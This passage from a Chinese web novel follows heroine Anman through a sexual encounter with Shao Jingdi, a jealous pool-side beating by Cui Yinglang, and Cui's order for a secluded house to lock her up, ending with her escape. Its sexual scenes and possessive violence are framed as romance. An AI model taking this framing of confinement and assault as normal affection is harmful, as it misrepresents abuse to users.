江淮盛也注意到了这点,他有点着急,最近被打压的太厉害了,找了很多人都没用,最后才确定唯一的希望在眼前,只能加快脚步,将手放在她的肩膀,按了下去,冷下脸训斥,“安蔓小姐,你最好好好听我说话,周围没有人,我不想动手。” 安蔓缩了一下肩膀,想要挣脱他的抓握,却被他更加用力拽着的肩膀,想往自己这个地方拉,怒道,“听我说!” 谁知刚一用力,就察觉到身后有只手拽紧了他的头发往后拖,他只来得及松了手,转头想要看是谁在拽他,迎面而来的拳头却将他整个人揍飞到了墙面上! “唔!”江淮盛痛苦的蜷缩起身子,眼中泛起了。泪花,脊背重重的砸到了墙面,剧痛一片 安蔓松了一口,垂下眼,冷冷凝视地上痛苦挣扎的人。和狩猎日相似的场景,同样挣扎的江淮盛。 “有病。”她回过头,长长吐出一口气。 脸色郁郁,刚想道谢,却又看着对方那张熟悉的脸沉默了。 白西装,灰色眼,带了一丝卷的漆黑发色,他身姿挺拔,俊秀的脸上带着温文尔雅的笑容,彬彬有礼,此刻皱着眉踢了地上的男人一脚。 “怎么了。”他抬起头,“安小姐,你刚刚走的太急,忘了说,阿朗在找你。” 安蔓沉默了一下,明明应该感激,但是她现在完全生不出这种情绪,只有一阵一阵的无语。 她深吸一口气,听从直觉,向前迈开一步,伸手拽住对方的领子,迫使他低下头,咬牙切齿道,“韶景荻,你烦不烦啊!” “叮咚,你输入了正确的通关密码。” 韶景荻顺从的低下头,忽然收紧了手,将她整个人抱住,严丝合缝的抱紧了,怀抱紧密又温暖。 他的喉咙里传了一阵低哑的喘息,在她耳边低笑出声,“安蔓小姐,你好,从今以后我是你的狗了。” 70-80 第71章 第71章翻 71. 安蔓拽住韶景荻的头,用力地将他的头发拽了起来。他喉间发出来细细的低喘,像是憋不住笑了。 韶景荻顺从地抬起了头,眼睛水汪汪的,还有点委屈:“你扯的我头发好痛。” “你到底在搞什么鬼!”安蔓微微蹙眉,手指用力,没有放松。 韶景荻毛茸茸的黑发被她抓的有些凌乱,卷毛散在白皙的额头上,他轻轻吸了一口气,像是被抓痛了,脸上露出一点吃痛。 安蔓下意识松了松手。 下一秒,就见对方又笑一声,突然用一只手捧着她的下巴吻了上来。 他吻得非常用力,几乎青涩,刚吻上来的时候只是简单的互相触碰,接着小心翼翼的蹭开了安蔓的唇齿,舌尖顶开牙齿,开始热烈地唇舌交织,缠绵青涩,动作大胆认真,将她拖进一片滚烫的热浪。 安蔓被他亲的呆住,还没反应过来,就被他稀里糊涂地捏着下巴,亲了个透。 她反应过来,表情不悦起来,手指扯住他的头发,又将他用力拽开,“唔……你——发什么疯呢!” 韶景荻被顺从的拽开,嘴唇湿漉漉,眼睛也湿漉漉的,浓密的睫毛颤抖一下,眼角泛起嫣红,嘴唇轻轻的弯了一下,又吻了上去。 这次是轻轻的啄吻,时有时无,落在她的唇角,声音中夹杂着一丝笑意,“没发疯,我只是刚才想通了一件事,安小姐,我现在可是你的小狗哦。” 安蔓困惑地看着他,满脑子莫名,胸口还憋着一股被戏耍的气。 没头没尾,莫名其妙! 她搞不懂对方在做什么,面露厌恶,不想搭理。 思考一会,抽空看了一眼好感度,忽然又呆住了。 【叮。】 【韶景荻当前好感:80。】 ……8、0??? 到底是什么时候,突然升到这个数字的? “唔!”江淮盛在地上挣扎,抱着肚子在柔软的地毯上痛苦的翻滚。 地毯又软又绵,整个人陷进毯子中,越发没有支撑点的,他余光见到了两人,愣了一下手指的突然攥着地毯上的绒毛,指尖深深掐着手心。 他喘了一口气,好歹维持住了体面,没有让自己的表情太过扭曲,他没想到自己居然这么倒霉,好像跟安蔓犯了忌讳。 第一次,生日宴会托她的福,惨淡收场。然后狩猎日,同样也没大展身手,今天更是倒霉?她居然真的,还和韶家的少爷……有一腿! 他自知行为失礼,就算传出去也不好听,见了两人的目光注意过来,主动开口。 “韶少爷,安……小姐,非常、抱歉,安小姐,刚刚只是意外。我不是想对你出手,我就想和你好好商量,韶小少爷,你误会了。” 他的声音断断续续的,刚说完,就将手握成拳放在嘴边,一阵剧烈咳嗽。 身体颤巍巍的,配上他后脑勺的伤疤,几乎有几分可怜。 韶景荻啧了一声,“扫兴。” 安蔓忽然反应过来。 现在时间,晚上8点。 地点,韶家庄园的走廊,其中一条路通往风纪会的聚会现场,另一边则是通向泳池,巨大的泳池在夜灯下波光粼粼,清澈湛蓝,泳池边上了不少嬉戏的派对男女,佣人推着香槟为他们送酒,在这里隐约能够感觉到外面清凉的水气和嬉笑。 人物,旁边还有个江淮盛。 安蔓也顾不上生气了,捶了韶景荻一下,忍着气道,“换个地方!” 韶景荻抱着她不松手,懒洋洋的道了一声“好”。 然后抬起长腿,轻踹了地上的江淮盛一脚,“还不赶紧滚?” 江淮盛动作僵硬,手指扶着墙踉踉跄跄的爬起来,一边扒喉咙,口腔里爆发出剧烈的咳嗽声,一边强撑着连连后退。 “谢谢韶少爷宽宏大量。” 他说完之后,忍不住又咳嗽几声,自知得罪两人,辨认了一下方向,不敢停留,赶紧走了。 安蔓更不高兴,眉毛倒竖,脸色冷冷的,“就这么放过他?他可是对我出手了啊!” 韶景荻微笑地抱着她,哄人似的拍拍她的背,“不着急哦,甜心,现在只是让他离开别打扰我们。” 安蔓嘴唇绷得紧紧的,瞬间反应过来,确实这个场景太尴尬了,还随时有被人发现的风险,就算要掰扯,也应该换个地方。 而且,她现在真的搞不清楚,韶景荻的好感是怎么回事。 ……是在认出他的那一刻升的吗? “跟我来。”他说。 韶景荻主动牵起她的手,向泳池的方向,走了几步,一边在墙上摸索着,手指不知道按到了哪个地方,突然咔嚓一声,似乎是摸到了什么地方,一整面连光的墙面,突然被他推开了一扇门。 门与墙面镶嵌在一起,连接处同色,差别极为细微,不仔细观察,根本看不清楚。门内是一个活动室,到处都是五彩斑斓的涂鸦、装饰,很有生活气息。 韶景荻推开门之后,将人牵了进来,开了灯,把门关上。 接着转身,忽然低头弯腰抱住了安蔓,手指扶着她的腰,猛一用力,将她抱在长桌上! “你干什么!”安蔓抬脚踹他。 没有踹中,韶景荻握住了她的脚,在她想要收腿的时候,突然向前一步,卡在她两腿之间,顺势分开。 安蔓只感觉大腿被人按住,接着小腹一沉,韶景荻的头轻轻靠了上来,他突然笑了起 来,笑声越来越大,越来越愉快,让安蔓起了一身的鸡皮疙瘩,“……有话好好说。” 韶景荻的笑声戛然而止,停顿几秒,突然又闷闷地笑了,“在阿朗病房看到监控的时候,我就想这么做了。” 安蔓眼角抽了抽,那都多久之前的事了,而且看完监控,崔英朗和江赫就开始互殴,打完之后砸了一个房间,崔英朗还进了重病室。 她思前想后,也不知道这些哪点吸引了对方的兴趣,只能归咎于他就是一个思想异常的变态:“你有病。” 韶景荻认认真真摇头,“我没有。” 安蔓见他终于不笑了,松了口气,“你到底想干什么。” 韶景荻又微笑起来,歪了歪头,很是可爱,“不是约定好了,我当你的狗吗?你喜欢什么,项圈,嘴套?口枷我有,还可以做一个有你名字的名牌,挂在我脖子上。” 安蔓狐疑,“你怎么这么顺从。” 韶景荻莞尔,“因为我想通了。” “很奇妙,我其实观察你很久,真的很有意思啊,甜心。你和以前完全不一样了。性格,癖好,甚至……外貌。” 韶景荻发凉的手指,触碰过她的漆黑的眼睛,挺翘的鼻尖,最后落在眼角的一颗小小的嫣红泪痣上。 在雪白的皮肤上,鲜艳欲滴,娇艳明丽,让整个人的气质都生动起来。 “我思考了很久,怎么可能会有人变化这么彻底,精神疾病?换人了?同父同母的双生姐妹?每个猜测都疑点重重。你知道的,我们家很多人信教,虽然我不信,但很难不往奇怪的地方去猜,但是我现在想通了——” “你就算是鬼也无所谓,反正,那很好玩。” 安蔓被他说得汗毛倒竖!直到最后几句才稍稍放松,困惑不解,不明白韶景荻到底有什么毛病。 安蔓憋着火:“那今天的游戏目的是?” 韶景荻抱着她的腰,“这件事,让你生气吗?” 安蔓窝火,“当然。” 韶景荻又问,“等会儿再解释吧,我先跟你道歉,好吗?” 安蔓不明白,“怎么道歉?” 韶景荻楚楚可怜,“对不起,我给你舌忝好吗,原谅我吧。” 安蔓有点动摇,本来今天和崔英朗做的就不满足。 她的底线脆弱的就像纸,一戳就破,声音勉强,“看你表现。” 韶景荻轻笑一声,“我看过视频学习,一定会让你满意的。” 安蔓手指握住桌子边,她今天穿着一条紫色纱裙,非常方便。 没一会儿,雪白清丽的脸变红了,声音也哼了起来。 韶景荻的舌头软、热、滑,非常灵活。 这种情况下,他还能抽空解释。 “真不好意思,甜心。今天,其实只是有点不信你能认出我们,而想出的一个泄愤小游戏罢了。” 安蔓余光没有落点,开始打量起这间休息室了。 桌上的花瓶里插着一枝嫩红小花。 红色花蕊,绿色枝叶,瓷白花瓶,似乎早上才被人浇过,花瓣被分开,含珠带水,鲜艳欲滴。 这个活动室设施不新,但一尘不染,还被人换了花,旁边堆了一箱玩具,和火柴人涂鸦。 “这是我和我哥小时候的秘密基地,我们在这里玩了无数次捉迷藏。” “互换身份,我们也玩了无数次,这是第一次有人能把我们认出来,感觉真奇怪。那种滋味太奇妙,让人生气又难过,好像一个整体硬生生被人拆成两半。” 韶景荻喃喃,“感觉好怪。” “……别说话。”安蔓还没有力气回答他,她不上不下,难受得直哼哼。 韶景荻自然不会让她不满意,越发卖力,用尽了视频里,提到的所有技巧。 他学习能力一向很强,门门拿A,脑子也火,之前和兄长互换身份的时候,经常自由发挥,蒙混过关。还擅长察言观色,还能根据对方反应调整,灵活的要命。 韶景荻轻笑,“怎么样。” 安蔓哼哼,“一般般,还需要努力。” 好霜。比之前都霜。 不知道真做起来,是什么感觉。这些男主们个个都……很夸张,吓死人了,但是又让人有点期待。 她浑身泛粉,熟如樱桃,出了汗,手指揪着裙摆,扯坏了一块布料。 韶景荻简直像是电动的,根本不知疲倦,创意百出。 时间很长,但很舒服。 安蔓心头的怒火终于平息了一点,要是之后都是这种伺候的待遇,又不是不能收下这条小狗。 愉悦中,她心里突然莫名闪出一点不安,微微睁开了眼睛。 余光看到门不知道什么时候被人打开,门外露出崔英朗狰狞的脸。 第72章 第72章打 72. 正如恐怖是最好的助燃剂。 安蔓曾经看过的很多恐怖片,总在毫无必要的时刻加入一些突兀转折,在主角们放松警惕时,猛然穿插恐怖情节,令人闻风丧胆。 她现在的感受也是如此。一方面她吓得心神俱裂,另一方面在这种刺激下,她浑身发紧,吓的抖了起来。 "等……停一下。" 安蔓惊惧交加,过度的惊吓让她四肢发软,指尖都在微微颤抖。 …… 可恶,韶景荻完全没理解她的意思! 她没力气,声音娇娇的,软的像撒娇,“你听人说话啊。” 崔英朗原本担心安蔓迷路,遇到什么事,一路寻找。韶家不方便看监控,只能问人,崔韶两家关系不错,他对周围环境也熟,几乎快走了个遍都没找到,都快急疯了。 最后才问到,她向这个方向走了。这里他也熟,小时候常来,和这两兄弟捉过迷藏,在经过附近的时候,不知出于什么心理鬼使神差的打开了门,谁知道就看到这一幕—— 崔英朗目眦欲裂,重重踹开门,密室门砸在墙上发出一声巨响! 所有人都吓了一跳,水声停了,裙摆下身影一拱一拱。他大迈步走向前,一把抓住那个野男人的脑袋,拽了出来! 他定睛一看,怒极反笑,“韶景荻!” 韶景荻表情茫然,脸上湿漉漉的,睫毛都被水打湿,黏成一团。 他舔了舔嘴角,无辜道,“你怎么来了,阿朗。” 崔英朗气得半死,手指紧紧抓住他的脑袋,眼神阴狠,虽然有预感,真没想到这么短的时间内,这对狗男女都能滚在一起,勾搭上。 他微微侧头,看见了安蔓脸颊嫣红,裙摆微掀,白皙的小腿上还挂着桃红的…,皱巴巴的,湿透了。 他被刺痛了眼,手指抖了起来,“无耻!” 安蔓抖了一下,刷地一下从桌上跳了下来,吓得半死,丝滑地躲在韶景荻背后,可怜巴巴。 她有点想哭,太可怕了,为什么她总是遇到这种情况。 她抽了抽鼻子,“我可以 解释。” 韶景荻眨了下眼,睫毛上的水珠啪嗒落在地上,湿了一小块,“我也可以解释。” 他不开口则已,一开口,崔英朗的表情迅速恶劣下来,表情阴沉沉无比,嗤笑,“你们解释啊!” 安蔓可怜地缩了缩,眼睛怕的泛起泪水,泪光盈盈,可怜可爱,“这是因为,其实是因为,我、我们……” 她扯了几个字,编不下去了,她也不知道崔英朗到底看了多久,什么样的理由才能解释赤壁啊。 她悄悄地,捣了一下韶景荻,两人做事两人当。 韶景荻脸颊湿漉漉的,用手背擦了擦,一本正经,“安小姐宫寒,我体热,心也热,乐于助人,今天正好遇见,帮她检查一下。” 他说完自己也忍不住笑了,闭上嘴,肩膀狠狠震动。 安蔓窒息了,头皮一根根竖了起来,忍怒道,“你闭嘴吧,都是你强破我!” 她可怜巴巴,“崔少爷,你要相信我,我是无辜的。” 韶景荻在旁边一本正经接话,“没错,是我强破她的。” “闭嘴,你们这对狗男女!”崔英朗金眼雪亮,异常吓人,死死瞪着满脸是水的韶景荻,和明显刚才快乐过了头、脸色潮红、声音绵软的安蔓,“到现在还敢在我面前打情骂俏!” 安蔓缩了缩脑袋,不敢说了。 太可怕了,她明明没有和崔英朗在一起啊。 但是她自知,说出这句话,就是在讨打,于是老老实实的闭嘴。 韶景荻倒是又开口,无辜的要命,“阿朗,别生气啊,我和安小姐目前还是纯洁的,当然我很愿意和她发生一段不纯洁的关系。如果你觉得膈应,想和她分手,我随时可以补位——” 砰! 崔英朗一拳砸在他脸上! 他面无表情,瞳色阴沉,扬起拳头,手臂上结实有力的肌肉贲起,强壮的手臂狠狠挥了下去,用力太重,以至于让人恍惚间听见了破空声,又一个拳头落在韶景荻赏心悦目的脸上。 第二拳,第三拳!砰! 拳拳落在韶景荻的右脸,让他俊秀可观的半张脸迅速肿起,青紫一片,看起来分外可怖。 他狼狈不堪,鼻子被打出了血,血流倒灌进鼻腔,呛住喉咙,忍不住“嗬嗬”咳嗽起来,咳嗽声断断续续,唾沫混着血。 如果不是看在以前的情份上,崔英朗真恨不得打死他,都在这个时候了居然还敢挑衅,他用力拽起他的头发,手指一点也没留劲,异常狠厉地瞪了安蔓一眼,忽然迈开脚步,一言不发拽着韶景荻的头往外拖! 他一路将人拖进走廊,动作粗暴,力气极大,路上无论是韶景荻的痛呼,还是他不小心撞墙发出了闷闷的“咚”声,都毫不停顿,一言不发的将人拖行到泳池边,在所有人的惊呼声中把韶景荻扔了进去,厉声道,“洗洗脑子!” 哗啦。 韶景荻掉进泳池呛了几口水,忍不住扑通几下,终于缓过神来,将头冒出水面,他的发丝、睫毛、嘴唇、衣领湿漉漉的,双手撑着泳池边缘,狼狈不堪,轻声细语,“阿郎,你真是一点也没留手,不过这样也好,挨了一顿,接手你的女朋友时就不愧疚了……咕噜咕噜。” 他一句话还没说完,就被怒火滔天的崔英朗,抓着头发按下水面,怒道,“再洗一遍!” 韶景荻被按下水面,又呛了几口水后,终于再次被拉上来,面对崔英朗戾气十足的质问,“清醒了没?” 他伸手抹了把脸,将所有头发往后撩,眨了眨眼,微微一笑,居然有一种说不出来的从容,“我认为应该要给安小姐自主选择的权利,她那种漂亮的美人不该……咕噜咕噜。” 崔英朗面无表情松了手,让他落进水池,抬脚踩了上去,眼神阴鸷可怖,“继续清醒!” 安蔓蹑手蹑脚的跟了出来,欲哭无泪,她真的要吓死了,崔英朗“捉.奸”的时候简直太恐怖了。 要不是怕韶景荻被打死,她也要受迁怒,她早跑了,只能硬着头皮跟出来。 泳池周围原本在开派对,旁边堆了一车的香槟塔和点心,俊男美女穿着清凉在泳池边嬉闹,结果这事一出所有人都哗然了,立刻散开,就连正在游泳的也拼了命地上岸。 “怎么办,太吓人了,有没有人上去阻止一下,这样下去可能会出事。” “谁敢,而且就算有人壮着胆子上去了,他打得过崔少爷吗。” “有人去通知韶会长了,等等吧。” “你们听清他们在打什么了吗,女朋友?崔少爷有女朋友吗,他不是还想当小三吗,之前那个动态……” 很快就有人想起,崔英朗在TEL上惊天动地的宣言,忍不住就嘀咕起来,崔少爷的女朋友?那不是江少爷的,什么时候变成他的了。 但是韶景荻也确实表态过,要在这段混乱的关系里插一脚,现在看起来是插足成功了……? 安蔓能感觉到零零散散,若有所思看过来的目光。 她深吸一口气,小腿都在颤,真的有点 怕了,崔英朗虽然现在专注在搞“奸夫”。 但明显也不打算放过她,看起来是想专注揍人,泄愤完,再把她拉回家慢慢算账。 她犹豫要不要上去帮忙,又怕上去了,被一起算账! 韶家。 韶景戈穿着手工定制的黑色燕尾服,白衬衫,圆领扣,黑马甲,在灯光下衣冠楚楚,笑容亲切而又文雅,风采卓然, 慕玉泽端了一杯红酒敬他,笑嘻嘻端着腔道,“韶会长,生日快乐! 他看了一眼,是位熟人,举了举酒杯,和他对碰一下,算是回礼,“同乐。” 慕玉泽喝完了手里的酒,他这个人不能无聊,一无聊起来就想找事情做,“怎么不见其他几位少爷。” 韶景戈端着手里的红酒,摇晃一下,今天的生日派对办的很大,一切都是最好的,就连这些红酒都是酒窖里才取出的韶家珍藏。 入口醇厚,但不醉人。 他风度翩翩一笑,“阿赫在楼上欣赏艺术品呢,其他几位,大概在到处凑热闹吧。” 慕玉泽跟着笑了笑,换了个话题,慵懒道,“我想也是。对了,上次跟你说的那栋别墅,你还有兴趣吗?位置隐蔽,设施也好,风景不错,度假简直一绝!” “我考虑一下。” 韶景戈忽然按住右脸,轻轻揉了揉,表情有一瞬困惑,低声找人道,“你帮我看看副会长在哪。” 聊天氛围融洽,和乐融融,期间不断有人向他送礼,庆祝致意,他都保持着姿态,一一回应了。 谁知外面突然传来了大喊大叫,和几道明显的脚步,他不由皱了皱眉头。 慕玉泽也不太高兴,“什么垃圾这么没礼貌,轰出去。” 韶景戈倒是涵养好,见外面的声音不仅没被拦住,还越来越近,不由放下酒杯走了过去。就见有个男生慌慌张张地跑来通风报信,“韶、韶会长,出事了!” 韶景戈温声安抚,声音仿佛有魔力,让人不由自主的平静下来,“什么事?慌慌张张的,别着急,慢慢说。” “副会长他被人打了!”. 泳池边。 韶景戈刚带人到达泳池附近,就见一群人在旁边远远围着,倒是都不敢上前,而他弟弟狼狈不堪地淹在泳池里,鼻青脸肿,笑容灿烂,看起来一点也不伤心,反而哈哈大笑起来。 “阿朗,你揍我呢,是没有用的,我你还不知道吗?我什么时候改变过主意。我这个人呢,其他优点不说,学习能力很强,很有耐心……” 崔英朗额角的青筋爆了起来,手臂肌肉隆起,在水中拽着他的领子,瞪着他的眼睛。几秒忽然阴森森的笑了,“没关系,我有的是时间让你改变主意。” 韶景荻呛了一口水,轻笑道,“改变我的主意有什么用?你要改变安小姐的主意,肯定是你平时太粗暴了,一点也不怜香惜玉,让她难受,不像我擅长学习……” 眼见两个人又要打起来了,韶景戈深吸一口气,“都住手!你们几个上去把他们拉开。” 等他命令过后,终于有几个人壮着胆子,上去扯住崔英朗的四肢,拼尽全力抱着他往后拉,一边安抚说,“息怒。” 另外的人,则是跳下泳池,帮忙将韶景荻从水里拽了出来,拖到岸上。 韶景荻被揍的不轻,他缓了口气,接过别人递给他的浴巾擦了擦头,从喉咙里呛出一口带血的唾沫,被人搀扶起来,摇摇晃晃站直了。 他被人扶到兄长面前,脸上仍是笑嘻嘻的,只是浑身湿透了,还在往地下淌着水,右脸已经肿的老高,连眼皮也是浮肿的,吓人的要 命。 忽然鼻尖一暖,他伸手抹了一下,才发现是又出鼻血了,叹了口气,“下手怎么这么狠。” 韶景戈胸口起伏一下,重重的吸了一口气,忍着气道,“刚刚联系了医生,你先上楼换件衣服,先别让母亲他们知道……” 话音刚落,电话响了,从口袋里掏出手机来电显示赫然显示,“母亲”。 韶景戈接了起来,韶家长辈对他们宠溺至极,今天听说要开生日派对,都把场地都让出来,任他们自由发挥。 同样的,对他们人身安全的关心,也无微不至,过分敏感周到。 韶母忧心忡忡,“小戈,刚刚管家打电话过来,你弟弟和人打起来了?” 韶景戈停顿了一下,压低声音,恭恭敬敬,“是有这件事,我已经让林医生准备伤药了。” 韶母一听居然真的受伤了,不由更加担心,懊恼自己为什么偏偏今晚出去玩了,连忙追问,“你弟弟他伤口怎么样了?严不严重?需不需要联系医院?我知道几个好医生。林医生做家庭医生还行,但是经验不够,有问题还是去医院好。” 韶父的声音也从电话里传了出来,威严中带了一丝温和,“小荻怎么样了,他脾气好,心地善良,连小动物都不忍心伤害,怎么会跟人打架,到底是怎么回事?” 韶景戈看了一眼弟弟,捏着手机,递给他,严厉说,“听见了吗?你自己解释!” 韶景荻无奈地耸了耸肩,换了个干毛巾,把身体擦了个遍,擦到浮肿处,嘴巴里嘶了几声,一接电话立刻换成乖巧语调。 “哎呀,没事,一点意外没有什么事。” 韶母:“你都受伤了!” “不是,没有啦,什么都没有发生,只是我和崔英朗打闹的时候,下手有点没轻没重的,玩过头了。我们小时候也经常打架的,你记得吗?” 韶母有点疑虑,但听到他说话的声音里确实没什么异样,稍微放下心来,不满道,“都多大人了还打架,多让父母担心,等会让你爸回去骂你!” 韶景荻嬉皮笑脸,转脸对着兄长,露出一个洋洋得意的表情,“哎呀,没事没事,都说是个小事。” 挂了电话,他才长长舒了一口气,放松道,“虽然母亲很好,但有时候真是唠叨。等会儿让林医生上点能快速消肿的药。” 韶景戈的脸上却毫无笑意,逼视,“说,到底是什么事!” 韶景荻含含糊糊,“就那些事呗,他生气我跟他抢人了,真小气。” 他一想起来就连连摇头,唉声叹气,本来刚才的情况多好的,都已经到那步了,如果他趁那个机会,乘胜追击,说不定至少一个情人的身份到手了,不像现在。 他脱下湿淋淋的外套,扔在一边,转头看向安蔓。 崔英朗刚刚被人强行按在椅子上冷静,但这看起来对他的情绪毫无帮助,他挣脱了所有人,站在香槟塔边一言不发,一边直勾勾盯着安蔓,一杯、一杯地喝着酒。 安蔓看上去简直可怜极了,坐立不安,脸上失去了血色,皮肤雪白,嘴唇苍白,穿着油紫的长裙在波光粼粼的泳池静静站着,美的惊人,有种一触就碎的美感。 她抿着唇,一言不发的被人盯着,无法遮住她雪白的肩脊,简直是个被亟待拯救的公主。察觉到视线,转过来看了他一眼。 韶景戈沉声,“如果你还记得我跟你说过什么……” “不记得了。” 韶景荻大笑地抛了一个眉眼,不顾旁边的人反对走了过去,笑眯眯的搭话,“你好啊,公主。感觉怎么样。” 安蔓皮肤嫩滑,被夜风吹的微微发红,嘴唇却发白,脆弱而漂亮。 她心惊胆战,不满,“你别找死啊,还看着呢。” 韶景荻,“就要他看着。” 崔英朗眼底一沉,充满阴鸷,当着他的面还敢这样,简直是自寻死路。 他伸手一推装满香槟的小推车,哗啦一声倒进了泳池,杂乱的玻璃碎片扑通扑通掉进水里,他大步走了上去! 以这样他又有动手的想法,旁边的人急忙手舞足蹈的上前拉住他,一边劝告,“崔少爷冷静。” “冲动是魔鬼。” “别打架了。” 七嘴八舌的,好不容易把人劝住一点,谁知道这时候,韶景荻突然俏皮的眨了眨眼,“我会向你证明我是一个可靠的奸夫。” 语毕,握住安蔓的手指。 她的手指纤细,又柔又软,手指白皙,指尖却嫣红漂亮。 韶景荻在她手背轻轻落下一吻,然后向前大迈几步,握拳对着崔英朗的脸狠狠砸了下去! “还你!” 崔英朗被揍了一拳,整个人凝固了几秒,脸色更扭曲了,这次周围人按也按不住,全部被甩在一边,他扑了上去,拎着韶景荻的领子,两个人双双落入水中。 哗啦! 安蔓又松了一口气,虽然对不起韶景荻,但是被崔英朗盯着也很吓人。 与其跟她算账,不如还是韶景荻多受点苦,辛苦一下。 韶景戈被扑上来的巨浪扑了满脸,面无表情地擦了一把,“拉上来。” 他深呼一口气,缓缓转头,面无表情,看向安蔓。 安蔓楚楚可怜,无辜的要命。 老天,我什么都没做为何这么看我。 第73章 第73章打+病 73. 泳池里。 两人又打了起来。 崔英朗听不进任何话,怒火席卷了大脑,烧红一片,理智崩断,扯住韶景荻的领子,一拳一拳的砸在他脸上,“你就是这么对我,你们居然敢这么对我的!” 一个是他的朋友,另一个是他喜欢的人。 偏偏在同一天背叛了他! 崔英朗在安蔓身上,受尽了这辈子最大的屈辱。 不仅第一次接吻,动情,亲昵都给她了。 受伤也是因为她,伤势加重甚至影响视力也是因为她,复检的陪伴也是她。到最后,他刻意淡忘了之前的欺骗,假装一切如初。 没想到,最后换来的是什么! 刚刚在密室里,他忍耐着不去多看安蔓一眼。越看,眼睛就像是被火焰灼烧,刺痛无比,火辣辣的痛。安蔓的感情,她的□□,放荡不羁,给谁都可以,甜言蜜语简直像是批发,沉浸在其中的时候,很难不洋洋得意,站在旁观者的视角才发现,拙劣的可笑。 涌动的池水里,人站立不稳,拳头也失去了力道,不再勇猛。 韶景荻反而更加适应,抓住机会,连连反击,不满,“我都让你揍了你还想怎么样!” “你去死吧!”崔英朗眼睛气红了,咬牙切齿,恨不得把这对狗男女一起凌迟了! 安蔓身体差,整个人纤细柔软,又瘦又娇,根本不能像男人那样揍,脸又白又软,没有什么气色,感觉完全能随时生一场大病。 崔英朗没办法动他,只能将双倍的怒火,化成拳头发泄到韶景荻身上,“去死吧!” 韶景荻虽然笑眯眯的,但是脾气一点也不好,刚才忍了,现在可不忍,“你也去死!” 两个人在水里闹得天翻地覆,根本控制不住,水花一波一波的往外溅,安蔓看的连连后退,忍不住打开崔英朗的好感。 【崔英朗好感:90】 【崔英朗好感:-100】 【崔英朗好感:0】 可恶,果不其然,又开始忽闪忽闪,极不稳定,爱恨交织了! 韶景戈脸上隐 隐发痛,深吸一口气,找准了事情的根源,当机立断,抬手叫了个人,吩咐,“这里太乱了,你去找个房间,请安小姐去休息一下。” 名为休息,实则是监视,先将她支开,再看住这个祸害不要到处乱跑。 男生点了点头,走到安蔓身边,伸出一只手,“请吧。” 安蔓知道自己在这里,麻烦更大,点了点头,有点头痛,跟着离开了。 一等罪魁祸首,韶景戈立刻着手解决问题,先让人去把两个人捞上来。又见泳池里水花太大,行动不便。一群人扑通扑通跳下去,不仅没有解决问题,反倒乱成一锅粥,更糟糕了。 韶景戈忍不住平息了一下心情,才恢复往日的镇定,命令道,“给游泳池抽干。” 水池渐渐被放干了,泳池里只剩下一点没有干涸的水渍,滑溜溜的,打架都没法发力。几个人一拥而上,终于将两个打的难舍难分的男人架开,扶上岸。 韶景荻拉上来后,脸上红红紫紫更严重了,他不准备动手了,脑袋转了一圈,没看到人,“安蔓呢。” 韶景戈面无表情,冷声道,“我让人请去休息室了,现在你们两个都给我去上药!不然不许见人。” 他顿了一下,有些糟心,挥了挥手,让人把弟弟带走,然后掉转方向,放轻了声音,“阿朗,你也去包扎伤口吧,你之前才受了重伤,注意身体。” 崔英朗上岸后,整个人同样湿透了。 比起韶景荻,他的脸色更苍白,后脑勺蔓延至耳后、侧脸的,蚯蚓大小的褐色伤疤,被水浸透的有些发白,嘴唇也被池水泡皱了,“我要把人带走。” 韶景戈:“先处理伤口,处理好后,凡事好商量。” “好。”崔英朗瞳色阴鸷。 韶景戈这个家伙,表面上看起来八面玲珑,实际上和他弟弟没什么两样,不过多了一点,爱收拾烂摊子。到了这个程度,还在帮弟弟收尾。 他皱起了眉,屈起食指,压了压隐隐发胀的太阳穴,走到了一边,任由匆匆赶来的医生,为他上药消毒。 消毒水刺鼻难闻,却令人清醒。 很多纠结复杂的事,也能一瞬想通。 崔英朗面色阴沉似水,瞳孔里戾气横生,耀眼的吓人,手指攥紧了,咯咯作响。到今天为止,他几乎感觉自己是恨安蔓。 甚至有一瞬间,想要放弃她,但是想过了之后才发现做不到,他投入的感情太多了。多到让自己难受。 这个该死的,放荡的,花心的,毫无廉耻的疯女人! 崔英朗一边让人上药,一边给助理打电话,声音阴狠,“帮我准备一栋房子。不管是别墅,平层,还是安全屋都可以。” 助理专业无比,在得到这个消息的第一刻,大脑飞速转动,“好的,请问具体有什么要求吗。” 崔英朗放下手指,在膝盖上点了点,脸上不自觉的露出一丝扭曲的笑,“要够隐蔽,设施齐备,周围人少,适合藏人的那种。” 医生听到他的话,上药的手忍不住微微一抖,不敢听下去。 崔英朗眉头皱了起来,随意地看了他一眼,对方就不自觉的低下了头,手指微微发抖,强忍着继续上药。 助理没有听懂,尽责的问了一句,“最少也请问您的目的是?我想根据您的需求,来置办一套合适的住宅。” 崔英朗表情平静,“买来关人。”. 风纪会的成员在前方,礼貌带头,余光却忍不住看人。 今天这件事实在是闹得太大,太乱,到最后一塌糊涂。被韶景戈吩咐将她带到一边,看住她的时候,他心里隐约,能猜出来事情的来龙去脉。 “安蔓小姐,请跟我来,这边走。” 安蔓点了点头,她刚刚身上也溅到了一点水,发尾微润,漆黑的发丝贴在雪色皮肤上,潮湿粘腻。 但更让人难受的是韶景戈的安排,这样下去,之后极有可能被崔英朗带回去。按照他的性格,绝对会秋后算账。 留下?不可能,有韶景戈这个哥哥在,一定压着弟弟不许留。 “请进。”风纪会的成员将她带到一个一楼房间。 安蔓轻轻道谢,表面镇定,实际上焦虑的想要跺脚,坐了一会儿,突然开口,“你要在门口看着我吗?” 男生道,“是的。” 安蔓拧了拧发尾,用纸巾擦干手指,有点苦恼,“可是我想换衣服,可以吗?刚刚泳池的水泼在我身上了,黏糊糊的,很难受。可以帮我拿件衣服来吗?” 男生的耳朵红了一点,有点不自在,挠了挠头,“好的。” 他出去交涉了一会儿,不多时,拿回来一套衣服。 安蔓面带感激,抿着嘴唇,轻轻笑了起来,温柔道谢,“谢谢你,你是个好人。” 男生不好意思,“那我先在门外站一会儿,你换衣服吧,我给你看着嘛,有事随时叫我。” 安蔓声音柔柔,表情信赖,目光柔和,“谢谢你。” 男生站在门外,关上了门。 等人一出去,安蔓表情一淡,皱眉拎起衣服看了一眼,男生借来的是风机会的女生制服,不知道是和谁借的,和她尺码差不多,是裤装。 比起今天这身打扮,这衣服,更适合逃跑! 她迅速换了衣服,站在窗户边,轻手轻脚的推开窗户期间,还不忘大声说几句,“谢谢你。”“你真是个好人。”来掩盖声音。 一番努力下来,终于成功地推开了窗户,松了一口气的,找来椅子,爬上窗户,跳了下去。 